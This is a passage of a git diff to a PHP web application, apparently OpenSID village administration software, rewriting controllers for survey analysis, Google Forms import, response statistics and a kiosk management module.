$this->analisis_parameter_model->list_parameter_by_id_master($master['id']); + + foreach ($parameter as $p) { + $baris_data = [$p['nomor'], $p['kode_jawaban'], $p['jawaban'], $p['nilai']]; + $baris = WriterEntityFactory::createRowFromArray($baris_data, $this->style_baris()); + $writer->addRow($baris); + } + } + + private function ekspor_klasifikasi($writer, $master) + { + $klasifikasi = $writer->addNewSheetAndMakeItCurrent(); + $klasifikasi->setName('klasifikasi'); + //Tulis judul + $daftar_kolom = [ + ['KLASIFIKASI', 'nama'], + ['NILAI MINIMAL', 'minval'], + ['NILAI MAKSIMAL', 'maxval'], + ]; + $judul = array_column($daftar_kolom, 0); + $header = WriterEntityFactory::createRowFromArray($judul, $this->style_judul()); + $writer->addRow($header); + // Tulis data + $klasifikasi = $this->analisis_klasifikasi_model->list_klasifikasi_by_id_master($master['id']); + + foreach ($klasifikasi as $k) { + $baris_data = [$k['nama'], $k['minval'], $k['maxval']]; + $baris = WriterEntityFactory::createRowFromArray($baris_data, $this->style_baris()); + $writer->addRow($baris); + } + } + + public function import_gform() + { + $this->redirect_hak_akses('u'); + $data['form_action'] = site_url("{$this->controller}/exec_import_gform"); + + $this->load->view('analisis_master/import_gform', $data); + } + + public function menu($id = 0) + { + $this->session->analisis_master = $id; + $data['analisis_master'] = $this->analisis_master_model->get_analisis_master($id) ?? show_404(); + $master = $data['analisis_master']; + $this->session->analisis_nama = $master['nama']; + $this->session->subjek_tipe = $master['subjek_tipe']; + + $data['menu_respon'] = 'analisis_respon'; + $data['menu_laporan'] = 'analisis_laporan'; + + if ($master['subjek_tipe'] == 5) { + $data['subjek'] = ucwords($this->setting->sebutan_desa); + } elseif ($master['subjek_tipe'] == 6) { + $data['subjek'] = ucwords($this->setting->sebutan_dusun); + } else { + $data['subjek'] = $this->referensi_model->list_by_id('analisis_ref_subjek')[$master['subjek_tipe']]['subjek']; + } + + // TODO: Periksa apakah perlu lakukan pre_update + // $this->load->model('analisis_respon_model'); + // $this->analisis_respon_model->pre_update(); + + $this->render('analisis_master/menu', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + + redirect($this->controller); + } + + public function filter() + { + $filter = $this->input->post('filter'); + if ($filter != 0) { + $_SESSION['filter'] = $filter; + } else { + unset($_SESSION['filter']); + } + + redirect($this->controller); + } + + public function state() + { + $filter = $this->input->post('state'); + if ($filter != 0) { + $_SESSION['state'] = $filter; + } else { + unset($_SESSION['state']); + } + + redirect($this->controller); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->analisis_master_model->insert(); + + redirect($this->controller); + } + + /** + * 1. Credential + * 2. Id script + * 3. Redirect URI + * + * - Jika 1 dan 2 diisi (asumsi user pakai akun google sendiri) eksekusi dari nilai yg diisi user. Abaikan isisan 3. Redirect ambil dari isian 1 + * - Jika 1 dan 2 kosong. 3 diisi. Import gform langsung menuju redirect field 3 + * - Jika semua tidak terisi (asumsi opensid ini yang jalan di server OpenDesa) ambil credential setting di file config + */ + private function get_redirect_uri() + { + if ($this->setting->api_gform_credential) { + $api_gform_credential = $this->setting->api_gform_credential; + } elseif (empty($this->setting->api_gform_redirect_uri)) { + $api_gform_credential = config_item('api_gform_credential'); + } + if ($api_gform_credential) { + $credential_data = json_decode(str_replace('\"', '"', $api_gform_credential), true); + $redirect_uri = $credential_data['web']['redirect_uris'][0]; + } + if (empty($redirect_uri)) { + $redirect_uri = $this->setting->api_gform_redirect_uri; + } + + return $redirect_uri; + } + + public function exec_import_gform() + { + $this->redirect_hak_akses('u'); + $this->session->google_form_id = $this->input->post('input-form-id'); + + $REDIRECT_URI = $this->get_redirect_uri(); + $protocol = (! empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? 'https://' : 'http://'; + $self_link = $protocol . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']; + + if ($this->input->get('outsideRetry') == 'true') { + $url = $REDIRECT_URI . '?formId=' . $this->input->get('formId') . '&redirectLink=' . $self_link . '&outsideRetry=true&code=' . $this->input->get('code'); + + $client = new Google\Client(); + $httpClient = $client->authorize(); + $response = $httpClient->get($url); + + $variabel = json_decode($response->getBody(), true); + $this->session->data_import = $variabel; + $this->session->gform_id = $this->input->get('formId'); + $this->session->success = 5; + + redirect($this->controller); + } else { + $url = $REDIRECT_URI . '?formId=' . $this->input->post('input-form-id') . '&redirectLink=' . $self_link; + header('Location: ' . $url); + } + } + + public function update($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $this->analisis_master_model->update($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function delete($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('h'); + $this->analisis_master_model->delete($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h'); + $this->analisis_master_model->delete_all(); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function save_import_gform() + { + $this->redirect_hak_akses('u'); + $this->analisis_import_model->save_import_gform(); + $this->session->unset_userdata('data_import'); + + redirect($this->controller); + } + + public function update_gform($id = 0) + { + $this->redirect_hak_akses('u'); + $this->session->google_form_id = $this->analisis_master_model->get_analisis_master($id)['gform_id']; + + $REDIRECT_URI = $this->get_redirect_uri(); + $protocol = (! empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? 'https://' : 'http://'; + $self_link = $protocol . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']; + + if ($this->input->get('outsideRetry') == 'true') { + $url = $REDIRECT_URI . '?formId=' . $this->input->get('formId') . '&redirectLink=' . $self_link . '&outsideRetry=true&code=' . $this->input->get('code'); + + $client = new Google\Client(); + $httpClient = $client->authorize(); + $response = $httpClient->get($url); + + $variabel = json_decode($response->getBody(), true); + $this->session->data_import = $variabel; + $this->analisis_import_model->update_import_gform($id, $variabel); + + redirect($this->controller); + } else { + $url = $REDIRECT_URI . '?formId=' . $this->session->google_form_id . '&redirectLink=' . $self_link; + header('Location: ' . $url); + } + } +} diff --git a/donjo-app/controllers/Analisis_periode.php b/donjo-app/controllers/Analisis_periode.php index 132d0269b..4ced914b7 100644 --- a/donjo-app/controllers/Analisis_periode.php +++ b/donjo-app/controllers/Analisis_periode.php @@ -1,545 +1,181 @@ -session->has_userdata('analisis_master')) { + $this->session->success = -1; + $this->session->error_msg = 'Pilih master analisis terlebih dahulu'; + + redirect('analisis_master'); + } + + $this->load->model(['analisis_periode_model', 'analisis_master_model']); + $this->session->submenu = 'Data Periode'; + $this->session->asubmenu = 'analisis_periode'; + $this->modul_ini = 'analisis'; + $this->sub_modul_ini = 'master-analisis'; + } + + public function clear() + { + $this->session->unset_userdata(['cari', 'state']); + + redirect($this->controller); + } + + public function index($p = 1, $o = 0) + { + unset($_SESSION['cari2']); + $data['p'] = $p; + $data['o'] = $o; + + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + + if (isset($_SESSION['state'])) { + $data['state'] = $_SESSION['state']; + } else { + $data['state'] = ''; + } + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + $data['per_page'] = $_SESSION['per_page']; + + $data['paging'] = $this->analisis_periode_model->paging($p, $o); + $data['main'] = $this->analisis_periode_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->analisis_periode_model->autocomplete(); + $data['analisis_master'] = $this->analisis_master_model->get_analisis_master($this->session->analisis_master); + $data['list_state'] = $this->analisis_periode_model->list_state(); + + $this->render('analisis_periode/table', $data); + } + + public function form($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['analisis_periode'] = $this->analisis_periode_model->get_analisis_periode($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/update/{$p}/{$o}/{$id}"); + } else { + $data['analisis_periode'] = null; + $data['form_action'] = site_url("{$this->controller}/insert"); + } + + $data['analisis_master'] = $this->analisis_master_model->get_analisis_master($this->session->analisis_master); + + $this->render('analisis_periode/form', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + + redirect($this->controller); + } + + public function state() + { + $filter = $this->input->post('state'); + if ($filter != 0) { + $_SESSION['state'] = $filter; + } else { + unset($_SESSION['state']); + } + + redirect($this->controller); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->analisis_periode_model->insert(); + + redirect($this->controller); + } + + public function update($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $this->analisis_periode_model->update($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function delete($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('h'); + $this->analisis_periode_model->delete($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h'); + $this->analisis_periode_model->delete_all(); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + // TODO:: Digunakan dimana? + public function list_state() + { + $sql = 'SELECT * FROM analisis_ref_state'; + $query = $this->db->query($sql); + + return $query->result_array(); + } +} diff --git a/donjo-app/controllers/Analisis_respon.php b/donjo-app/controllers/Analisis_respon.php index be488c2bf..4ccccd715 100644 --- a/donjo-app/controllers/Analisis_respon.php +++ b/donjo-app/controllers/Analisis_respon.php @@ -1,537 +1,421 @@ -session->has_userdata('analisis_master')) { + $this->session->success = -1; + $this->session->error_msg = 'Pilih master analisis terlebih dahulu'; + + redirect('analisis_master'); + } + + $this->session->unset_userdata(['delik']); + $this->load->model(['analisis_respon_model', 'wilayah_model', 'analisis_master_model']); + $this->session->submenu = 'Input Data'; + $this->session->asubmenu = "{$this->controller}"; + $this->modul_ini = 'analisis'; + $this->sub_modul_ini = 'master-analisis'; + } + + public function clear() + { + $this->session->unset_userdata(['cari', 'dusun', 'rw', 'rt', 'isi']); + $this->session->per_page = 50; + + redirect($this->controller); + } + + public function index($p = 1, $o = 0) + { + if (empty($this->analisis_master_model->get_aktif_periode())) { + $this->session->success = -1; + $this->session->error_msg = 'Tidak ada periode aktif. Entri data respon harus ada periode aktif.'; + + redirect('analisis_periode'); + } + unset($_SESSION['cari2']); + $data['p'] = $p; + $data['o'] = $o; + + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + + if (isset($_SESSION['isi'])) { + $data['isi'] = $_SESSION['isi']; + } else { + $data['isi'] = ''; + } + + if (isset($_SESSION['dusun'])) { + $data['dusun'] = $_SESSION['dusun']; + $data['list_rw'] = $this->wilayah_model->list_rw($data['dusun']); + + if (isset($_SESSION['rw'])) { + $data['rw'] = $_SESSION['rw']; + $data['list_rt'] = $this->wilayah_model->list_rt($data['dusun'], $data['rw']); + if (isset($_SESSION['rt'])) { + $data['rt'] = $_SESSION['rt']; + } else { + $data['rt'] = ''; + } + } else { + $data['rw'] = ''; + } + } else { + $data['dusun'] = ''; + $data['rw'] = ''; + $data['rt'] = ''; + } + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + $data['per_page'] = $_SESSION['per_page']; + + $data['list_dusun'] = $this->wilayah_model->list_dusun(); + $data['paging'] = $this->analisis_respon_model->paging($p, $o); + $data['main'] = $this->analisis_respon_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->analisis_respon_model->autocomplete(); + $data['analisis_master'] = $this->analisis_master_model->get_analisis_master($this->session->analisis_master); + $data['analisis_periode'] = $this->analisis_master_model->periode; + $data = array_merge($data, $this->judul_subjek($data['analisis_master']['subjek_tipe'])); + + $this->render('analisis_respon/table', $data); + } + + private function judul_subjek($subjek_tipe) + { + $asubjek = $this->referensi_model->list_by_id('analisis_ref_subjek')[$subjek_tipe]['subjek']; + + switch ($subjek_tipe) { + case 1: + $judul = [ + 'nama' => 'Nama', + 'nomor' => 'NIK', + 'asubjek' => $asubjek, + ]; + break; + + case 2: $judul = [ + 'nama' => 'Kepala Keluarga', + 'nomor' => 'Nomor KK', + 'asubjek' => $asubjek, + ]; + break; + + case 3: $judul = [ + 'nama' => 'Kepala Rumah Tangga', + 'nomor' => 'Nomor Rumah Tangga', + 'asubjek' => $asubjek, + ]; + break; + + case 4: $judul = [ + 'nama' => 'Nama Kelompok', + 'nomor' => 'ID Kelompok', + 'asubjek' => $asubjek, + ]; + break; + + case 5: + $desa = ucwords($this->setting->sebutan_desa); + $judul = [ + 'nama' => "Nama {$desa}", + 'nomor' => "Kode {$desa}", + 'asubjek' => ucwords($this->setting->sebutan_desa), + ]; + break; + + case 6: + $dusun = ucwords($this->setting->sebutan_dusun); + $judul = [ + 'nama' => "Nama {$dusun}", + 'nomor' => $dusun, + 'asubjek' => $asubjek, + ]; + break; + + case 7: + $judul = [ + 'nama' => "Nama {$this->setting->sebutan_dusun}/RW", + 'nomor' => 'RW', + 'asubjek' => $asubjek, + ]; + break; + + case 8: + $judul = [ + 'nama' => "Nama {$this->setting->sebutan_dusun}/RW/RT", + 'nomor' => 'RT', + 'asubjek' => $asubjek, + ]; + break; + + default: $judul = null; + } + + return $judul; + } + + public function kuisioner($p = 1, $o = 0, $id = 0, $fs = 0) + { + if ($fs == 1) { + $this->session->fullscreen = 1; + } + if ($fs == 2) { + $this->session->unset_userdata('fullscreen'); + } + if ($fs != 0) { + redirect("analisis_respon/kuisioner/{$p}/{$o}/{$id}"); + } + + $data['p'] = $p; + $data['o'] = $o; + $data['id'] = $id; + + $data['analisis_master'] = $this->analisis_master_model->get_analisis_master($this->session->analisis_master); + $data['subjek'] = $this->analisis_respon_model->get_subjek($id) ?? show_404(); + $data['list_jawab'] = $this->analisis_respon_model->list_indikator($id); + $data['list_bukti'] = $this->analisis_respon_model->list_bukti($id); + $data['list_anggota'] = $this->analisis_respon_model->list_anggota($id); + $data['form_action'] = site_url("{$this->controller}/update_kuisioner/{$p}/{$o}/{$id}"); + $data['perbaharui'] = site_url("{$this->controller}/perbaharui/{$p}/{$o}/{$id}"); + + $this->render('analisis_respon/form', $data); + } + + public function perbaharui($p = 1, $o = 0, $id_subjek = 0) + { + $this->redirect_hak_akses('u'); + $data = $this->analisis_respon_model->perbaharui($id_subjek); + + redirect("{$this->controller}/kuisioner/{$p}/{$o}/{$id_subjek}"); + } + + public function update_kuisioner($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $this->analisis_respon_model->update_kuisioner($id); + + redirect("{$this->controller}/kuisioner/{$p}/{$o}/{$id}"); + } + + //CHILD-------------------- + public function kuisioner_child($p = 1, $o = 0, $id = 0, $idc = '') + { + $data['p'] = $p; + $data['o'] = $o; + + $data['list_jawab'] = $this->analisis_respon_model->list_indikator_child($idc); + $data['form_action'] = site_url("{$this->controller}/update_kuisioner_child/{$p}/{$o}/{$id}/{$idc}"); + + $this->load->view('analisis_respon/form_ajax', $data); + } + + public function update_kuisioner_child($p = 1, $o = 0, $id = 0, $idc = '') + { + $this->redirect_hak_akses('u'); + $per = $this->analisis_respon_model->get_periode_child(); + $this->analisis_respon_model->update_kuisioner($idc, $per); + redirect("{$this->controller}/kuisioner/{$p}/{$o}/{$id}"); + } + + public function aturan_unduh() + { + $data['main'] = $this->analisis_respon_model->aturan_unduh(); + $this->load->view('analisis_respon/import/aturan_unduh', $data); + } + + public function data_ajax() + { + $this->load->view('analisis_respon/import/data_ajax'); + } + + /** + * Unduh data analisis respon + * + * @param int $tipe | 1. Dengan isian data, 2. Dengan kode isian + * + * @return void + */ + public function data_unduh($tipe = 1) + { + $data['subjek_tipe'] = $this->session->subjek_tipe; + $data['main'] = $this->analisis_respon_model->data_unduh(1, 0); + $data['periode'] = $this->analisis_master_model->get_aktif_periode(); + $data['indikator'] = $this->analisis_respon_model->indikator_unduh(1); + $data['tipe'] = $tipe; + $key = ($data['periode'] + 3) * ($this->session->analisis_master + 7) * ($this->session->subjek_tipe * 3); + $data['key'] = 'AN' . $key; + + switch ($this->session->subjek_tipe) { + case 5: + $data['span_kolom'] = 3; + break; + + case 6: + $data['span_kolom'] = 3; + break; + + case 7: + $data['span_kolom'] = 5; + break; + + case 8: + $data['span_kolom'] = 6; + break; + + default: + $data['span_kolom'] = 7; + break; + } + $data['judul'] = $this->judul_subjek($this->session->subjek_tipe); + + $this->load->view('analisis_respon/import/data_unduh', $data); + } + + public function import($op = 0) + { + $this->redirect_hak_akses('u'); + $data['form_action'] = site_url("{$this->controller}/import_proses/{$op}"); + + $this->load->view('analisis_respon/import/import', $data); + } + + public function import_proses($op = 0) + { + $this->redirect_hak_akses('u'); + $this->analisis_respon_model->import_respon($op); + + redirect($this->controller); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + + redirect($this->controller); + } + + public function isi() + { + $isi = $this->input->post('isi'); + if ($isi != '') { + $_SESSION['isi'] = $isi; + } else { + unset($_SESSION['isi']); + } + + redirect($this->controller); + } + + public function dusun() + { + unset($_SESSION['rw'], $_SESSION['rt']); + + $dusun = $this->input->post('dusun'); + if ($dusun != '') { + $_SESSION['dusun'] = $dusun; + } else { + unset($_SESSION['dusun']); + } + + redirect($this->controller); + } + + public function rw() + { + unset($_SESSION['rt']); + $rw = $this->input->post('rw'); + if ($rw != '') { + $_SESSION['rw'] = $rw; + } else { + unset($_SESSION['rw']); + } + + redirect($this->controller); + } + + public function rt() + { + $rt = $this->input->post('rt'); + if ($rt != '') { + $_SESSION['rt'] = $rt; + } else { + unset($_SESSION['rt']); + } + + redirect($this->controller); + } + + public function form_impor_bdt() + { + $this->redirect_hak_akses('u'); + $data['form_action'] = site_url("{$this->controller}/impor_bdt/"); + + $this->load->view('analisis_respon/import/impor_bdt', $data); + } + + public function impor_bdt() + { + $this->redirect_hak_akses('u'); + $this->load->model('bdt_model'); + $this->bdt_model->impor(); + + redirect($this->controller); + } + + public function unduh_form_bdt() + { + header('location:' . base_url('assets/import/contoh-data-bdt2015.xls')); + } +} diff --git a/donjo-app/controllers/Analisis_statistik_jawaban.php b/donjo-app/controllers/Analisis_statistik_jawaban.php index 1534dee58..5cc9fc3cf 100644 --- a/donjo-app/controllers/Analisis_statistik_jawaban.php +++ b/donjo-app/controllers/Analisis_statistik_jawaban.php @@ -1,625 +1,401 @@ -session->has_userdata('analisis_master')) { + $this->session->success = -1; + $this->session->error_msg = 'Pilih master analisis terlebih dahulu'; + + redirect('analisis_master'); + } + + $this->load->model(['analisis_statistik_jawaban_model', 'analisis_respon_model', 'wilayah_model', 'analisis_master_model']); + $this->session->submenu = 'Statistik Jawaban'; + $this->session->asubmenu = 'analisis_statistik_jawaban'; + // TODO : Simpan di pengaturan aplikasi agar bisa disesuaikan oleh pengguna + $this->_set_page = ['20', '50', '100']; + $this->modul_ini = 'analisis'; + $this->sub_modul_ini = 110; + } + + public function clear() + { + $this->session->unset_userdata(['cari', 'dusun', 'rw', 'rt', 'filter', 'tipe', 'kategori']); + $this->session->per_page = $this->_set_page[0]; + + redirect($this->controller); + } + + public function index($p = 1, $o = 0) + { + if (empty($this->analisis_master_model->get_aktif_periode())) { + $this->session->success = -1; + $this->session->error_msg = 'Tidak ada periode aktif. Untuk laporan ini harus ada periode aktif.'; + redirect('analisis_periode'); + } + unset($_SESSION['cari2']); + $data['p'] = $p; + $data['o'] = $o; + + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + + if (isset($_SESSION['filter'])) { + $data['filter'] = $_SESSION['filter']; + } else { + $data['filter'] = ''; + } + if (isset($_SESSION['tipe'])) { + $data['tipe'] = $_SESSION['tipe']; + } else { + $data['tipe'] = ''; + } + if (isset($_SESSION['kategori'])) { + $data['kategori'] = $_SESSION['kategori']; + } else { + $data['kategori'] = ''; + } + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + $data['per_page'] = $this->session->per_page; + + if (isset($_SESSION['dusun'])) { + $data['dusun'] = $_SESSION['dusun']; + $data['list_rw'] = $this->wilayah_model->list_rw($data['dusun']); + + if (isset($_SESSION['rw'])) { + $data['rw'] = $_SESSION['rw']; + $data['list_rt'] = $this->wilayah_model->list_rt($data['dusun'], $data['rw']); + + if (isset($_SESSION['rt'])) { + $data['rt'] = $_SESSION['rt']; + } else { + $data['rt'] = ''; + } + } else { + $data['rw'] = ''; + } + } else { + $data['dusun'] = ''; + $data['rw'] = ''; + $data['rt'] = ''; + } + + $data['func'] = 'index'; + $data['set_page'] = $this->_set_page; + $data['paging'] = $this->analisis_statistik_jawaban_model->paging($p, $o); + $data['main'] = $this->analisis_statistik_jawaban_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->analisis_statistik_jawaban_model->autocomplete(); + $data['analisis_master'] = $this->analisis_master_model->get_analisis_master($this->session->analisis_master); + $data['list_tipe'] = $this->analisis_statistik_jawaban_model->list_tipe(); + $data['list_kategori'] = $this->analisis_statistik_jawaban_model->list_kategori(); + $data['list_dusun'] = $this->wilayah_model->list_dusun(); + + $this->render('analisis_statistik_jawaban/table', $data); + } + + public function grafik_parameter($id = '') + { + if (isset($_SESSION['dusun'])) { + $data['dusun'] = $_SESSION['dusun']; + $data['list_rw'] = $this->wilayah_model->list_rw($data['dusun']); + + if (isset($_SESSION['rw'])) { + $data['rw'] = $_SESSION['rw']; + $data['list_rt'] = $this->wilayah_model->list_rt($data['dusun'], $data['rw']); + if (isset($_SESSION['rt'])) { + $data['rt'] = $_SESSION['rt']; + } else { + $data['rt'] = ''; + } + } else { + $data['rw'] = ''; + } + } else { + $data['dusun'] = ''; + $data['rw'] = ''; + $data['rt'] = ''; + } + $data['list_dusun'] = $this->wilayah_model->list_dusun(); + $ai = $this->analisis_statistik_jawaban_model->get_analisis_indikator($id); + $data['analisis_statistik_jawaban'] = $this->analisis_statistik_jawaban_model->get_analisis_indikator($id); + $data['analisis_master'] = $this->analisis_master_model->get_analisis_master($this->session->analisis_master); + $data['main'] = $this->analisis_statistik_jawaban_model->list_indikator($id); + + $this->render('analisis_statistik_jawaban/parameter/grafik_table', $data); + } + + public function subjek_parameter($id = '', $par = '') + { + if (isset($_SESSION['dusun'])) { + $data['dusun'] = $_SESSION['dusun']; + $data['list_rw'] = $this->wilayah_model->list_rw($data['dusun']); + + if (isset($_SESSION['rw'])) { + $data['rw'] = $_SESSION['rw']; + $data['list_rt'] = $this->wilayah_model->list_rt($data['dusun'], $data['rw']); + if (isset($_SESSION['rt'])) { + $data['rt'] = $_SESSION['rt']; + } else { + $data['rt'] = ''; + } + } else { + $data['rw'] = ''; + } + } else { + $data['dusun'] = ''; + $data['rw'] = ''; + $data['rt'] = ''; + } + $data['list_dusun'] = $this->wilayah_model->list_dusun(); + $ai = $this->analisis_statistik_jawaban_model->get_analisis_indikator($id); + + $data['analisis_statistik_pertanyaan'] = $this->analisis_statistik_jawaban_model->get_analisis_indikator($id); + $data['analisis_statistik_jawaban'] = $this->analisis_statistik_jawaban_model->get_analisis_parameter($par); + $data['analisis_master'] = $this->analisis_master_model->get_analisis_master($this->session->analisis_master); + $data['main'] = $this->analisis_statistik_jawaban_model->list_subjek($par); + + $this->render('analisis_statistik_jawaban/parameter/subjek_table', $data); + } + + public function cetak($o = 0) + { + $data['main'] = $this->analisis_statistik_jawaban_model->list_data($o, 0, 10000); + $this->load->view('analisis_statistik_jawaban/table_print', $data); + } + + public function excel($o = 0) + { + $data['main'] = $this->analisis_statistik_jawaban_model->list_data($o, 0, 10000); + $this->load->view('analisis_statistik_jawaban/table_excel', $data); + } + + public function cetak2($id = '', $par = '') + { + $data['analisis_statistik_pertanyaan'] = $this->analisis_statistik_jawaban_model->get_analisis_indikator($id); + $data['analisis_statistik_jawaban'] = $this->analisis_statistik_jawaban_model->get_analisis_parameter($par); + $data['main'] = $this->analisis_statistik_jawaban_model->list_subjek($par); + $this->load->view('analisis_statistik_jawaban/parameter/table_print', $data); + } + + public function excel2($id = '', $par = '') + { + $data['analisis_statistik_pertanyaan'] = $this->analisis_statistik_jawaban_model->get_analisis_indikator($id); + $data['analisis_statistik_jawaban'] = $this->analisis_statistik_jawaban_model->get_analisis_parameter($par); + $data['main'] = $this->analisis_statistik_jawaban_model->list_subjek($par); + $this->load->view('analisis_statistik_jawaban/parameter/subjek_excel', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + redirect($this->controller); + } + + public function filter() + { + $filter = $this->input->post('filter'); + if ($filter != 0) { + $_SESSION['filter'] = $filter; + } else { + unset($_SESSION['filter']); + } + redirect($this->controller); + } + + public function tipe() + { + $filter = $this->input->post('tipe'); + if ($filter != 0) { + $_SESSION['tipe'] = $filter; + } else { + unset($_SESSION['tipe']); + } + redirect($this->controller); + } + + public function kategori() + { + $filter = $this->input->post('kategori'); + if ($filter != 0) { + $_SESSION['kategori'] = $filter; + } else { + unset($_SESSION['kategori']); + } + redirect($this->controller); + } + + public function dusun() + { + unset($_SESSION['rw'], $_SESSION['rt']); + + $dusun = $this->input->post('dusun'); + if ($dusun != '') { + $_SESSION['dusun'] = $dusun; + } else { + unset($_SESSION['dusun']); + } + redirect($this->controller); + } + + public function rw() + { + unset($_SESSION['rt']); + $rw = $this->input->post('rw'); + if ($rw != '') { + $_SESSION['rw'] = $rw; + } else { + unset($_SESSION['rw']); + } + redirect($this->controller); + } + + public function rt() + { + $rt = $this->input->post('rt'); + if ($rt != '') { + $_SESSION['rt'] = $rt; + } else { + unset($_SESSION['rt']); + } + redirect($this->controller); + } + + public function dusun2($id = '', $par = '') + { + unset($_SESSION['rw'], $_SESSION['rt']); + + $dusun = $this->input->post('dusun'); + if ($dusun != '') { + $_SESSION['dusun'] = $dusun; + } else { + unset($_SESSION['dusun']); + } + redirect("analisis_statistik_jawaban/subjek_parameter/{$id}/{$par}"); + } + + public function rw2($id = '', $par = '') + { + unset($_SESSION['rt']); + $rw = $this->input->post('rw'); + if ($rw != '') { + $_SESSION['rw'] = $rw; + } else { + unset($_SESSION['rw']); + } + redirect("analisis_statistik_jawaban/subjek_parameter/{$id}/{$par}"); + } + + public function rt2($id = '', $par = '') + { + $rt = $this->input->post('rt'); + if ($rt != '') { + $_SESSION['rt'] = $rt; + } else { + unset($_SESSION['rt']); + } + redirect("analisis_statistik_jawaban/subjek_parameter/{$id}/{$par}"); + } + + public function dusun3($id = '') + { + unset($_SESSION['rw'], $_SESSION['rt']); + + $dusun = $this->input->post('dusun'); + if ($dusun != '') { + $_SESSION['dusun'] = $dusun; + } else { + unset($_SESSION['dusun']); + } + redirect("analisis_statistik_jawaban/grafik_parameter/{$id}"); + } + + public function rw3($id = '') + { + unset($_SESSION['rt']); + $rw = $this->input->post('rw'); + if ($rw != '') { + $_SESSION['rw'] = $rw; + } else { + unset($_SESSION['rw']); + } + redirect("analisis_statistik_jawaban/grafik_parameter/{$id}"); + } + + public function rt3($id = '') + { + $rt = $this->input->post('rt'); + if ($rt != '') { + $_SESSION['rt'] = $rt; + } else { + unset($_SESSION['rt']); + } + redirect("analisis_statistik_jawaban/grafik_parameter/{$id}"); + } + + public function delete($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h', "analisis_statistik_jawaban/index/{$p}/{$o}"); + $this->analisis_statistik_jawaban_model->delete($id); + redirect("analisis_statistik_jawaban/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h', "analisis_statistik_jawaban/index/{$p}/{$o}"); + $this->analisis_statistik_jawaban_model->delete_all(); + redirect("analisis_statistik_jawaban/index/{$p}/{$o}"); + } +} diff --git a/donjo-app/controllers/Anjungan.php b/donjo-app/controllers/Anjungan.php index 10e62c625..cb9adc012 100644 --- a/donjo-app/controllers/Anjungan.php +++ b/donjo-app/controllers/Anjungan.php @@ -1,481 +1,213 @@ -modul_ini = 'anjungan'; + $this->sub_modul_ini = 'daftar-anjungan'; + } + + public function index() + { + return view('admin.anjungan.index'); + } + + public function datatables() + { + $status = cek_anjungan(); + + if ($this->input->is_ajax_request()) { + return datatables()->of(AnjunganModel::where('tipe', 1)) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) use ($status) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + $url_kunci = site_url("anjungan/kunci/{$row->id}"); + $disabled = $status ? '' : 'disabled'; + + if (! $status) { + $aksi .= ' '; + } elseif ($row->status) { + $aksi .= ' '; + } else { + $aksi .= ' '; + } + } + + if (can('h')) { + $aksi .= ' '; + } + + return $aksi; + }) + ->editColumn('ip_address_port_printer', static function ($row) { + return $row->printer_ip ?: '-' . ':' . $row->printer_port ?: '-'; + }) + ->editColumn('keyboard', static function ($row) { + return '' . StatusEnum::valueOf($row->keyboard) . ''; + }) + ->editColumn('status', static function ($row) use ($status) { + if (! $status) { + $row->status = StatusEnum::TIDAK; + } + + return '' . StatusEnum::valueOf($row->status) . ''; + }) + ->rawColumns(['ceklist', 'aksi', 'keyboard', 'status']) + ->make(); + } + + return show_404(); + } + + public function form($id = null) + { + $this->redirect_hak_akses('u'); + + if ($id) { + $data['action'] = 'Ubah'; + $data['form_action'] = route('anjungan.update', $id); + $data['anjungan'] = AnjunganModel::findOrFail($id); + } else { + $data['action'] = 'Tambah'; + $data['form_action'] = 